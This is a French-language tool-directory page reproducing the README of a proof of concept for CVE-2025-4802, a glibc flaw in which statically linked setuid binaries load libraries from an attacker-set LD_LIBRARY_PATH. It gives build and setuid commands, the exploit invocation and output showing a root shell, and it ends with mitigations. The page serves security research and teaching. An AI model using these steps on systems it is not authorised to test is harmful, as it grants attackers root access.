Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-4802-Proof-of-Concept — Preuve de concept pour un binaire setuid compilé statiquement vulnérable à dlopen avec LD_LIBRARY_PATH | Kitploit
Outils/GitHubGitHub/betim-hodza/cve-2025-4802-proof-of-concept
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubbetim-hodza/cve-2025-4802-proof-of-concept

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-4802-Proof-of-Concept

Preuve de concept pour un binaire setuid compilé statiquement vulnérable à dlopen avec LD_LIBRARY_PATH

Voir le dépôt
215il y a 7 moisPas encore vérifié

CVE-2025-4802 — Preuve de concept

⚠️ Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. N'utilisez pas cette exploitation contre des systèmes que vous ne possédez pas ou sans autorisation explicite de test. Une mauvaise utilisation peut enfreindre les lois et réglementations.

Résumé de la CVE

ChampDétails
Identifiant CVECVE-2025-4802
Logiciel concernéGNU C Library (glibc)
Versions concernées2.27 – 2.38
Type de vulnérabilitéÉlévation de privilèges via LD_LIBRARY_PATH non fiable
Vecteur d'attaqueLocal

Description

Une vulnérabilité dans les versions 2.27 à 2.38 de la GNU C Library (glibc) permet à un attaquant d'exploiter la variable d'environnement LD_LIBRARY_PATH dans les binaires setuid compilés statiquement qui appellent dlopen().

Normalement, l'éditeur de liens dynamique nettoie LD_LIBRARY_PATH pour les programmes setuid. Cependant, les binaires compilés statiquement contournent entièrement l'éditeur de liens dynamique, donc LD_LIBRARY_PATH n'est jamais effacé. Lorsqu'un tel binaire appelle dlopen() (directement, ou indirectement via setlocale() ou des fonctions NSS comme getaddrinfo()), glibc résout les bibliothèques partagées en utilisant LD_LIBRARY_PATH contrôlé par l'attaquant, permettant l'exécution de code arbitraire avec des privilèges élevés.

Fonctionnement

  1. Un binaire setuid-root compilé statiquement appelle dlopen("myso.so", ...) pour charger un objet partagé par son nom (pas un chemin absolu).
  2. Comme le binaire est lié statiquement, l'éditeur de liens dynamique (ld-linux.so) ne s'exécute jamais, donc LD_LIBRARY_PATH n'est pas nettoyé.
  3. Un attaquant crée un objet partagé malveillant (myso.so) qui exporte le même symbole hello() mais génère un shell root.
  4. L'attaquant définit LD_LIBRARY_PATH pour pointer vers le répertoire contenant la bibliothèque malveillante.
  5. Lorsque le binaire setuid s'exécute, il charge la bibliothèque de l'attaquant au lieu de la légitime, exécutant du code arbitraire en tant que root.

Structure du dépôt

root@kitploit:~
.
├── main.c                          # Code source du binaire setuid vulnérable
├── myso.c                          # Objet partagé légitime (sûr)
├── evil_library/
│   └── evilso.c                    # Objet partagé malveillant (génère un shell root)
├── proof_of_concept_screenshot.png # Capture d'écran terminal de l'exploitation
├── proof_of_concept_video.mp4      # Vidéo de démonstration
├── Makefile                        # Automatisation de la compilation
└── README.md

Prérequis

  • Système d'exploitation : Fedora 39 (ou toute distribution Linux avec une glibc vulnérable)
  • Version de glibc : 2.27 – 2.38 (vérifier avec ldd --version)
  • Paquets : gcc, make
  • Accès root pour définir le bit setuid

Étapes de reproduction

1. Tout compiler

root@kitploit:~
make all

Ou manuellement :

root@kitploit:~
# Compiler l'objet partagé légitime
gcc -shared -o myso.so -fPIC myso.c

# Compiler le binaire vulnérable (lié statiquement)
gcc -static -o main main.c -ldl

# Compiler l'objet partagé malveillant
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Définir le bit setuid (nécessite root)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. Exécution normale (comportement sûr)

root@kitploit:~
./main

Sortie attendue :

root@kitploit:~
 DÉBUT DU MAIN
Bonjour depuis l'objet partagé sûr !

 FIN DU MAIN

4. Exploitation avec LD_LIBRARY_PATH (comportement malveillant)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

Sortie attendue :

root@kitploit:~
 DÉBUT DU MAIN
Je suis malveillant maintenant
EXEC VERS SHELL ROOT
# whoami
root

Le binaire charge le myso.so de l'attaquant depuis evil_library/ au lieu du légitime, générant un shell root.

Preuve de concept

Capture d'écran de la preuve de concept

Une vidéo de démonstration est également disponible : proof_of_concept_video.mp4

Atténuation

  • Mettre à jour glibc vers une version corrigée (> 2.38)
  • Éviter la liaison statique pour les binaires setuid qui utilisent dlopen()
  • Utiliser des chemins absolus dans les appels dlopen() au lieu de noms de bibliothèques nus
  • Supprimer les privilèges avant d'appeler dlopen()
  • Utiliser des drapeaux de durcissement du compilateur/lieur et éviter setuid lorsque c'est possible

Ressources

  • NVD — CVE-2025-4802
Télécharger l’outil